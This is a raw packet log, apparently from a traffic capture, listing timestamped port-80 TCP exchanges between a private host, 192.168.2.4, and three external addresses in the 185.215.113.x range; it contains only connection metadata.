Sep 1, 2024 05:09:14.445825100 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.445839882 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.445851088 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.445861101 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.445897102 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.445907116 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.445907116 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.445938110 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.476125956 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.476142883 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.476151943 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.476216078 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.476241112 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.476249933 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.476253986 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.476259947 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.476269960 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.476279974 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.476291895 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.476319075 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.476378918 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.476388931 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.476397038 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.476407051 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.476418018 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.476425886 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.476449966 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.476475000 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.476512909 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.476528883 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.476538897 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.476548910 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.476557016 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.476581097 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.476604939 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.476648092 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.476656914 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.476665974 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.476675987 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.476685047 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.476696014 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.476725101 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.477293015 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.477319002 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.477328062 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.477358103 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.477374077 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.477375984 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.477385044 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.477405071 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.477420092 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.477440119 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.477449894 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.477449894 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.477483034 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.477518082 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.477545023 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.477552891 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.477585077 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.477603912 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.477613926 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.477622986 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.477641106 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.477653980 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.477667093 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.477672100 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.477677107 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.477705956 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.477744102 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.477786064 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.477793932 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.477802992 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.477833033 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.477835894 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.477843046 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.477897882 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.477906942 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.477916002 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.477937937 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.477962017 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.927830935 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:14.927910089 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.345114946 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.349894047 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.589468002 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.589487076 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.589548111 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.589550018 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.589560032 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.589600086 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.589679003 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.589721918 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.589741945 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.589780092 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.589904070 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.589915037 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.589946985 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.590095043 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.590105057 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.590131998 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.590147018 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.590270042 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.590312004 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.590312958 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.590325117 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.590338945 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.590354919 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.590379000 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.590841055 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.590881109 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.590887070 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.590897083 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.590926886 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.726525068 CEST	49741	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:15.726833105 CEST	49744	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:15.732286930 CEST	80	49744	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:15.732363939 CEST	49744	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:15.732656956 CEST	80	49741	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:15.732707977 CEST	49741	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:15.742554903 CEST	49744	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:15.747356892 CEST	80	49744	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:15.760399103 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.760416985 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.760431051 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.760448933 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.760492086 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.760555983 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.760600090 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.760600090 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.760639906 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.760761023 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.760780096 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.760790110 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.760802984 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.760812044 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.760835886 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.760854006 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.760864019 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.760895967 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.761554003 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.761563063 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.761599064 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.761708021 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.761751890 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.761756897 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.761761904 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.761794090 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.762108088 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.762125969 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.762136936 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.762151003 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.762177944 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.762192011 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.762202024 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.762238026 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.762859106 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.762901068 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.762926102 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.762944937 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.762955904 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.762964964 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.762965918 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.762984037 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.763003111 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.763676882 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.763721943 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.847347021 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.847356081 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.847403049 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.921590090 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.921600103 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.921610117 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.921618938 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.921628952 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.921650887 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.921681881 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.921684980 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.921695948 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.921705008 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.921715021 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.921724081 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.921725035 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.921752930 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.921776056 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.921854019 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.921861887 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.921869993 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.921875954 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.921880007 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.921894073 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.921899080 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.921902895 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.921917915 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.921945095 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.922071934 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922080040 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922089100 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922099113 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922107935 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922111988 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.922116995 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922127008 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922137976 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.922173977 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.922363043 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922374010 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922383070 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922399044 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922404051 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.922414064 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922422886 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.922424078 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922432899 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922441959 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922447920 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.922451019 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922460079 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922465086 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.922468901 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922478914 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922487974 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922497034 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922502995 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.922506094 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922514915 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922524929 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922530890 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.922534943 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922544003 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922550917 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.922554016 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922571898 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.922584057 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.922858953 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922868013 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922878027 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:15.922907114 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:15.922929049 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.064661980 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.064685106 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.064692020 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.064702034 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.064712048 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.064733982 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.065203905 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.065212965 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.065248013 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.065253973 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.065270901 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.065274000 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.065284014 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.065294027 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.065308094 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.065320015 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.065505028 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.065524101 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.065534115 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.065547943 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.065558910 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.065579891 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.065741062 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.065759897 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.065773964 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.065779924 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.065785885 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.065800905 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.065815926 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.065824986 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.066086054 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.066126108 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.066143036 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.066153049 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.066163063 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.066179037 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.066199064 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.066482067 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.066524029 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.066601992 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.066612959 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.066622019 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.066632032 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.066641092 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.066643953 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.066673994 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.066684008 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.066704035 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.066714048 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.066723108 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.066747904 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.066756964 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.067384005 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.067425013 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.067425013 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.067435980 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.067473888 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.067526102 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.067537069 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.067547083 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.067552090 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.067565918 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.067599058 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.067621946 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.067631006 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.067658901 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.067672014 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.068348885 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.068358898 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.068368912 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.068393946 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.068407059 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.068417072 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.068428040 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.068435907 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.068459988 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.068526030 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.068526030 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.068537951 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.068547964 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.068568945 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.068587065 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.069286108 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.069295883 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.069305897 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.069328070 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.069339991 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.069353104 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.069379091 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.069406986 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.069416046 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.069425106 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.069434881 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.069444895 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.069461107 CEST	49742	80	192.168.2.4	185.215.113.100
